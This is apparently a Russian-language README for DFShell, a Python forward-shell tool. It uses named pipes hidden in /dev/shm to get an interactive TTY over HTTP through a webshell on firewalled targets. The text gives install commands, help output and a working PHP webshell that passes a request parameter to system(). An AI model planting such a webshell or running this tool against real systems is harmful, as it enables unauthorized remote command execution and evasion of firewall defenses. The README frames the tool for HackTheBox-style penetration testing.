
Инструмент форвардной оболочки на Python, создающий интерактивную оболочку, подобную TTY, через HTTP с использованием именованных каналов, что позволяет выполнять команды на целях за брандмауэром без постоянных сетевых подключений.
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext's Forward Shell — это скрипт на Python3, который использует mkfifo для эмуляции оболочки на целевой машине. Он создает скрытую директорию в /dev/shm/.fs/, где хранятся fifo-файлы. Вы даже можете эмулировать TTY через веб-шелл.
Эта forward shell создает оболочку, которая принимает команды через именованный канал (mkfifo) и выводит результаты в файл. Благодаря этому оболочка не требует постоянного сетевого соединения, поэтому вы можете установить полноценный TTY за брандмауэром, блокирующим обратные/связанные оболочки.
Установка из исходников
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
Установка через pip
pip3 install dfshell
DFShell имеет множество параметров командной строки для улучшения настройки forward shell.
Панель справки
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
Скрипт отправляет GET-запросы на указанный URL, поэтому веб-шелл должен выглядеть примерно так:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Протестировано на Parrot OS с сервером Apache
Если вы хотите протестировать этот инструмент в контролируемой среде, вот список машин с HackTheBox, на которых применяются правила брандмауэра на веб-сервере, поэтому forward shell — отличная альтернатива для немедленного перехода к повышению привилегий.
Спасибо @ippsec за эту замечательную технику
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
Смотрите CONTRIBUTING.md
Смотрите CHANGELOG.md
Этот проект распространяется под лицензией MIT
Copyright © 2023, D3Ext